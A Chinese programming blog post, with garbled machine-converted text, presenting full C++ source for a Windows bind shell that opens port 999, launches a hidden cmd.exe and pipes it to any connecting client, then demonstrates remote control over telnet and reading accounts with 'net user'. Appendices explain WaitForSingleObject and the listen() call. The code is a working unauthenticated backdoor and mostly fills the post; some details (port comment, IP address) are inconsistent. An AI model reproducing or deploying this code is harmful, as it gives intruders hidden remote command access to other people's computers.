• 隐藏Console形式无效(继续1)


     【2014/10/19  23:57 】  

      :由port主机遥控。

    该程序的执行后,计划自己主动开放之机999port,其他计算机将能够通过999port机器的操作。


    程序中使用的到的命令:

            telnet測试port命令: telnet IP port 或者 telnet 域名 port(若telnet不是内部命令。使用打开或关闭windows功能,启动Telnet服务)
            netstat 測试开放的port号

            使用ipconfig控制网络连接的一个命令行工具。

    它的主要功用,包含用来显示现时网络连接的设置(/all參数),或通过/release參数来释放取得的ip位置和 通过 /renew 来又一次获取ip位置的分配。

            使用net user 获取电脑的账户信息

     

        管道是一种简单的进程间通讯(IPC)机制。实际上是一段共享内存。一个进程在向管道写入数据之后,还有一个进程就能够从管道的还有一端读取数据。

    没有解决程序窗体隐藏的问题。


    // Mini.cpp : 定义控制台应用程序的入口点。
    
    #include "stdafx.h"
    
    #pragma comment(lib,"ws2_32.lib")
    #include <winsock2.h>
    #include <windows.h>
    //#pragma comment(linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
    
    #define MAX_SER 10
    #define HOST_PATH 256
    #define HOSTNAME_SIZE HOST_PATH
    #define MasterPort 999						//定义监听的port
    
    char hostName[MAX_PATH]={0};
    unsigned short maxService;
    unsigned short port;
    
    
    void Service(LPVOID lpv);
    int LoopControl(SOCKET llistenfd,int isMultiTasking);
    void initial();												
    int initSockets(void);											//初始化Windows Socket
    
    int main(int argc, char * argv[])  
    {
    	SOCKET listenFd,acceptfd;			             
    	struct sockaddr_in serverAddr,clientAddr;	
    	char buffer[1024];
    	int nSize=sizeof(sockaddr_in);
    	int err;
    
    	PROCESS_INFORMATION ProcessInfo;
    	STARTUPINFO StartupInfo;
    	char szCMDPath[255];
    
    	initial();
    	initSockets();
    
    	//分配内存资源
    	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
    	ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
    	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
    	
    	//GetStartupInfo(&StartupInfo);
    	//创建socket
    	//listenFd=socket(PF_INET,SOCK_STREAM,0);
    	listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    	
    	if(listenFd==INVALID_SOCKET){
    		printf("error:out of socket resource 
    ");
    		return 1;		
    	}
    
    	//bind本机的port
    	serverAddr.sin_family=AF_INET;															//协议类型是INET
    	serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);										//本机IP
    	serverAddr.sin_port=htons(MasterPort);													//绑定port为9990
    
    	err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));			
    	if(err==INVALID_SOCKET){
    		printf("error: unable to bind socket 
    ");
    		return 1;
    	}
    	
    	//listen 监听port
    	err=listen(listenFd,1);
    	if(err==INVALID_SOCKET){
    		printf("error: listen socket failed 
    ");
    		return 1;
    	}
    	printf("listen......");
    
    	acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize);			//接收客户连接的准备
    
    
    	/*
    	*   nLength : The size, in bytes, of this structure. 
    	*   lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL, 
    	*						   the object is assigned the default security descriptor associated with the access token of the calling process. 
    	*   bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created. 
    	*/
    	SECURITY_ATTRIBUTES sa;
    	sa.nLength=12;
    	sa.lpSecurityDescriptor=0;
    	sa.bInheritHandle=true;
    
    	HANDLE hReadPipe1;
    	HANDLE hWritePipe1;
    	HANDLE hReadPipe2;
    	HANDLE hWritePipe2;
    
    	/*
    	* Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
    	*   hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe.
    	*   hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe.
    	*	lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited.
    	*   nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion; 
    	*                the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size.
    	*/
    	err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
    	err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
    
    	
    	//配置隐藏窗体结构体
    	StartupInfo.cb=sizeof(STARTUPINFO);
    	StartupInfo.wShowWindow=SW_HIDE;
    	StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
    	StartupInfo.hStdInput=hReadPipe2;
    	StartupInfo.hStdOutput=hWritePipe1;
    	StartupInfo.hStdError=hWritePipe1;
    
    	//创建匿名管道
    	BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
    	if(ret){
    		printf("%d",GetLastError());
    	}
    
    	unsigned long lBytesRead;
    	while(1){
    		/*
    		* Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe.
    		*   hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance
    		*	lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read.
    		*   nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL.
    		*   lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read.
    		*   lpTotalBytesAvail [out, optional] :  pointer to a variable that receives the total number of bytes available to be read from the pipe.
    		*   lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message
    		*/
    		err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0);
    		if(lBytesRead){
    			
    			/*
    			* Reads data from the specified file or input/output (I/O) device
    			*   hFile [in] : A handle to the device 
    			*   lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device.
    			*   nNumberOfBytesToRead [in] : The maximum number of bytes to be read.
    			*   lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter
    			*   lpOverlapped [in, out, optional] : 
    			*/
    			ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0);
    			if(!ret){
    				break;
    			}
    			ret=send(acceptfd,buffer,lBytesRead,0);
    			if(ret<=0) break;
    		}
    		else{
    
    			lBytesRead=recv(acceptfd,buffer,1024,0);
    			if(lBytesRead<=0){
    				break;
    			}
    
    			/*
    			* If the function succeeds, the return value is nonzero (TRUE).
    			*/
    			ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0);
    			if(!ret) break;
    		}
    	}
    	//WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
    
    	CloseHandle(ProcessInfo.hProcess);
    	CloseHandle(ProcessInfo.hThread);
    
    	printf("server is down 
    ");
    
    	//关闭进程句柄
    	closesocket(listenFd);
    	closesocket(acceptfd);
    	WSACleanup();
    	
    	return 0;
    }
    
    void initial()
    {
    	maxService=3;
    	port=5054;
    }
    
     /*
      *	Winsock服务初始化
     */
    int initSockets(void)
    {
    	WSADATA wsaData;
    	WORD sockVersion;                                              //typedef unsigned short WORD(16)
    	int err;
    	sockVersion=MAKEWORD(2,2);
    	err=WSAStartup(sockVersion,&wsaData);						  
    	if(err!=0)
    	{
    		printf("error %d :winsock not avaliable
    ",err);
    	}
    	printf("environemnt invaild success.....
    ");
    	return 0;
    }
    

      虚拟机ip地址:192.168.1.42。

      在虚拟机中执行本程序。

    在电脑的cmd中输入

    telnet 192.268.1.42 999

      建立了连接:



      建立的连接文件夹为 E:Release.我们须要切换到C盘



    通过命令操作电脑:



    关闭cmd窗体:



    附1:


    已通知状态(受信状态) 未通知状态(非受信状态)

    进程内核对象

          当进程正在执行时,进程内核对象处于未通知状态。

    当进程停止执行时,就处于已通知状态。能够通过等待进程来检查进程是否仍然执行。

          无成功等待的副作用。

    线程内核对象

          当线程正在执行时。线程内核对象处于未通知状态。

    当线程停止执行时,就处于已通知状态。

    能够通过等待线程来检查线程是否仍然执行。

          无成功等待的副作用。

         

          附2:

         等待函数可使线程自愿进入等待状态,直到一个特定的内核对象变为已通知状态为止。

    这些等待函数中最经常使用的是WaitForSingleObject:
      

    DWORD WaitForSingleObject(HANDLE hObject, DWORD dwMilliseconds);

        当线程调用该函数时。第一个參数hObject 标识一个可以支持被通知/未通知的内核对象。第二个參数dwMilliseconds 用于该线程指明。为了等待该对象变为已通知状态,它将等待多长时间。

        调用以下这个函数将告诉系统,调用函数准备等待到hProcess句柄标识的进程终止执行为止:【真不懂说了什么


    WaitForSingleObject(hProcess, INFINITE);

    第二个參数告诉系统,调用线程愿意永远等待下去(无限时间量),直到该进程终止执行。
    通常情况下, INFINITE是作为第二个參数传递给WaitForSingleObject的。只是也能够传递不论什么一个值(以毫秒计算)。顺便说一下。 INFINITE已经定义为0xFFFFFFFF(或-1)。当然,传递INFINITE有些危急。

    假设对象永远不变为已通知状态。那么调用线程永远不会被唤醒,它将永远处于死锁状态。

        附3:

        listen函数使用主动连接套接口变为被连接套接口,使得一个进程能够接受其他进程的请求,从而成为一个server进程。在TCPserver编程中listen函数把进程变为一个server,并指定对应的套接字变为被动连接。

    listen函数在一般在调用bind之后-调用accept之前调用。它的函数原型是:

    #include<sys/socket.h>int listen(int sockfd, int backlog)

    返回:0──成功,-1──失败

     

    參数sockfd

    被listen函数作用的套接字。sockfd之前由socket函数返回。

    在被socket函数返回的套接字sockfd之时。它是一个主动连接的套接字,也就是此时系统如果用户会对这个套接字调用connect函数。期待它主动与其他进程连接。然后在server编程中,用户希望这个套接字能够接受外来的连接请求。也就是被动等待用户来连接。因为系统默认时觉得一个套接字是主动连接的,所以须要通过某种方式来告诉系统,用户进程通过系统调用listen来完毕这件事。

    參数backlog

    这个參数涉及到一些网络的细节。

    在进程正理一个一个连接请求的时候,可能还存在其他的连接请求。

    由于TCP连接是一个过程。所以可能存在一种半连接的状态,有时由于同一时候尝试连接的用户过多,使得server进程无法高速地完毕连接请求。假设这个情况出现了。server进程希望内核怎样处理呢?内核会在自己的进程空间里维护一个队列以跟踪这些完毕的连接但server进程还没有接手处理或正在进行的连接,这种一个队列内核不可能让其随意大,所以必须有一个大小的上限。这个backlog告诉内核使用这个数值作为上限。

    毫无疑问,server进程不能随便指定一个数值,内核有一个许可的范围。这个范围是实现相关的。非常难有某种统一,一般这个值会小30以内。

    当调用listen之后。server进程就能够调用accept来接受一个外来的请求。关于accept更的信息,请接着关注本系统文章。

     

    版权声明:本文博客原创文章,博客,未经同意,不得转载。

  • 相关阅读:
    Mesh Filter & Mesh Render
    Physics Material
    Collision Detection
    SkyBox
    OpenGL顶点缓冲区对象
    OpenGL顶点数组
    尾递归
    objc变量的获取
    当property遇上category
    Effective ObjectiveC 2.0 Note
  • 原文地址:https://www.cnblogs.com/zfyouxi/p/4670306.html
Copyright © 2020-2023  润新知